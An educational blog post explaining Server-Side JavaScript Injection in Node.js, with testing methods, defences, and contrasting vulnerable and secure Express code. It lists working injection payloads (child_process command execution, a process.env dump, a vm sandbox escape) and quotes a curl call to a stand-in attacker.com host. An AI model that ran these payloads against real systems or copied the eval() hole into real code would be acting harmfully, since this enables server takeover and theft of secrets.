Welcome to another Vulnerability Explain breakdown. Today we explore Server-Side JavaScript Injection (SSJI), a critical remote code execution vulnerability that plagues Node.js backends and serverless JavaScript runtimes. When applications pass untrusted user input into dynamic code evaluation sinks like eval(), new Function(), or vulnerable expression parsers, attackers break out of the JavaScript runtime and execute arbitrary system commands on the host operating system. Let's examine how SSJI occurs, how to test for it, and how to eliminate it.
What is SSJI?
Server-Side JavaScript Injection occurs when a Node.js or server-side JavaScript application evaluates user-controlled strings as active code within the server's runtime environment.
Unlike client-side XSS which executes in the victim's browser, SSJI executes directly within the server process. Because Node.js grants full access to system APIs through built-in modules like child_process, fs, and process, an attacker who achieves code evaluation can immediately run shell commands, read and write files, steal environment variables, or spawn reverse shells.
Common culprits include dynamic formula evaluators, custom query engines, serialization libraries, and improper usage of eval(), setTimeout(string), or Function() constructors.
How does SSJI work?
SSJI vulnerabilities transition rapidly from string injection to complete server compromise:
- Application Accepts User Expression
- The application accepts a user-supplied string intended for mathematical calculation, custom formatting, or filter logic.
- Input Passes into Dynamic Evaluation Sink
- The backend passes the string into a dynamic execution sink such as eval(input), Function('return ' + input)(), or an insecure sandbox.
- Attacker Injects Node.js Runtime Objects
- The attacker supplies a payload that terminates the expression and references Node.js global objects: res.end(require('child_process').execSync('id').toString()).
- Host Process Spawns Shell Command
- The V8 engine evaluates the injected JavaScript code, invokes the child_process module, and executes the operating system command.
- Full Host Takeover
- The server returns command output to the attacker or opens an outbound reverse shell, granting complete host control.
Because Node.js runs as a single process with direct access to operating system APIs, evaluating untrusted input as JavaScript is equivalent to handing attackers a direct root shell on the server.
Tools and Techniques for SSJI Testing
Testing for SSJI involves probing dynamic calculation fields with runtime introspection probes.
Manual Testing Methodologies
- Mathematical and Boolean Probes - Inject expressions like 7*7, 2+2, or 'a'+'b' and observe if the application evaluates them into 49, 4, or 'ab'.
- Runtime Fingerprinting Probes - Inject global object identifiers like typeof process, process.version, or global.toString() to verify that code is running in Node.js.
- Time-Based Blind Verification - Inject sleep commands using require('child_process').execSync('sleep 5') to confirm execution when responses are unreflected.
- Sandbox Breakout Testing - If the app uses vm or vm2, test prototype constructor chaining payloads to escape the sandbox into the parent process context.
Automated Scanning Tools
- Burp Suite Professional - Scanner identifies Node.js code evaluation and blind command execution.
- Nuclei - Templates for detecting SSJI across common Node.js frameworks and vulnerable npm modules.
- Semgrep - Static analysis rules (e.g., nodejs.lang.security.detect-eval-with-expression) detect dangerous evaluation sinks in source code.
- NodeJsScan - Static analysis tool tailored specifically for finding Node.js security flaws.
SSJI Protection Mechanisms
Best Practices for Secure Coding
- Never Use eval() or Dynamic Code Constructors
- Description: Completely eliminate eval(), new Function(), and string arguments in setTimeout/setInterval.
- Benefits: Removes the root cause of code injection entirely.
- Implementation Tip: Use standard data-driven algorithms, lookup maps, or Abstract Syntax Tree (AST) parsers instead of dynamic evaluation.
- Use Safe Mathematical Parsers
- Description: When users must evaluate mathematical formulas, use specialized, restricted parsers.
- Benefits: Evaluates mathematical expressions without exposing runtime modules or code execution capabilities.
- Implementation Tip: Use libraries like expr-eval or mathjs configured with a restricted, isolated scope.
- Enforce the Node.js Permission Model
- Description: Run Node.js with the experimental permission model (-experimental-permission).
- Benefits: Restricts access to filesystem, child processes, and worker threads at the runtime level.
- Implementation Tip: Disallow child_process execution via -allow-child-process=false in production containers.
Best Practices for Organizations
- Container and Process Isolation
- Run Node.js applications inside non-root containers with read-only root filesystems and minimal Linux capabilities.
- Deploy Seccomp or AppArmor profiles blocking the execve syscall for web worker processes.
- Static Analysis in CI/CD
- Mandate automated Semgrep or ESLint security rules in pre-commit hooks and CI pipelines to block code containing eval().
- Fail builds immediately if unvetted dynamic code generation functions are detected.
- Third-Party Dependency Auditing
- Audit npm dependencies for vulnerable packages that internally utilize eval() or flawed sandbox libraries.
- Run npm audit and Snyk continuously to catch transitive vulnerabilities.
Top SSJI payloads used by Security Researchers
As a security researcher, knowing the most common payloads helps you detect and prevent these attacks. Use this knowledge ethically and only on systems you are authorized to test. Some sample payloads are shown below.
// Fingerprinting Node.js runtime
process.version
JSON.stringify(process.env)// Direct OS Command Execution via child_process
require('child_process').execSync('id').toString()
res.end(require('child_process').execSync('whoami').toString())// Blind time-delay probe
require('child_process').execSync('sleep 5')// Node.js vm module sandbox escape
this.constructor.constructor('return process')().mainModule.require('child_process').execSync('id')Real-World Example: Reverse Shell via Custom Formula Calculator
A SaaS accounting application offered an advanced reporting feature allowing financial analysts to write custom tax calculation formulas (e.g., revenue * 0.15 + fee).
The backend Node.js microservice implemented this feature by wrapping the formula in an eval() statement: const result = eval(`(${userFormula})`);. An ethical researcher tested the field with: 1 + require('child_process').execSync('curl http://attacker.com/pwned').
The server immediately executed the curl command, pinging the researcher's listener. The researcher demonstrated that an attacker could spawn a reverse shell and access the underlying AWS RDS database containing customer financial transactions. The engineering team replaced eval() with an AST-based mathematical evaluator.
Vulnerable and secure code of SSJI
The following example shows the contrast between vulnerable and secure code for SSJI. It helps you see how the flaw creeps into real code and the changes that shut it down.
🥺 Vulnerable Code:
// Vulnerable: Express route evaluating mathematical expressions via eval()
const express = require('express');
const app = express();
app.use(express.json());
app.post('/api/calculate-tax', (req, res) => {
const { formula, baseAmount } = req.body;
try {
// Vulnerable: user input is concatenated directly into eval()
// Payload: "1; require('child_process').execSync('id').toString()"
const calculated = eval(`${baseAmount} * (${formula})`);
res.json({ status: 'success', result: calculated });
} catch (err) {
res.status(400).json({ error: 'Calculation failed' });
}
});- The endpoint concatenates user-supplied formula strings directly into eval().
- An attacker can break out of the arithmetic expression and execute arbitrary Node.js code.
- Grants access to child_process, enabling full operating system shell commands.
😎 Secure Code:
// Secure: Uses a strict AST-based mathematical parser without code evaluation
const express = require('express');
const { Parser } = require('expr-eval');
const { z } = require('zod');
const app = express();
app.use(express.json());
const FormulaSchema = z.object({
formula: z.string().min(1).max(100),
baseAmount: z.number().positive()
});
const parser = new Parser({
operators: {
add: true,
subtract: true,
multiply: true,
divide: true
}
});
app.post('/api/calculate-tax', (req, res) => {
const parseResult = FormulaSchema.safeParse(req.body);
if (!parseResult.success) {
return res.status(400).json({ error: 'Invalid input' });
}
const { formula, baseAmount } = parseResult.data;
try {
// Secure: expr-eval parses expressions into an AST and evaluates only safe math
const expr = parser.parse(formula);
const calculated = baseAmount * expr.evaluate();
res.json({ status: 'success', result: calculated });
} catch (err) {
res.status(400).json({ error: 'Malformed formula' });
}
});- expr-eval parses mathematical expressions into an Abstract Syntax Tree without using eval().
- Node.js globals, require(), and child_process are completely inaccessible.
- Zod schema validation guarantees strict data types and input bounds.
Conclusion
Server-Side JavaScript Injection represents one of the most critical vulnerabilities in modern web applications, turning dynamic user input into direct server code execution. By completely banning eval() and Function() sinks, utilizing AST-based mathematical parsing libraries, and enforcing container and runtime permission boundaries, developers ensure that JavaScript runtimes remain impenetrable.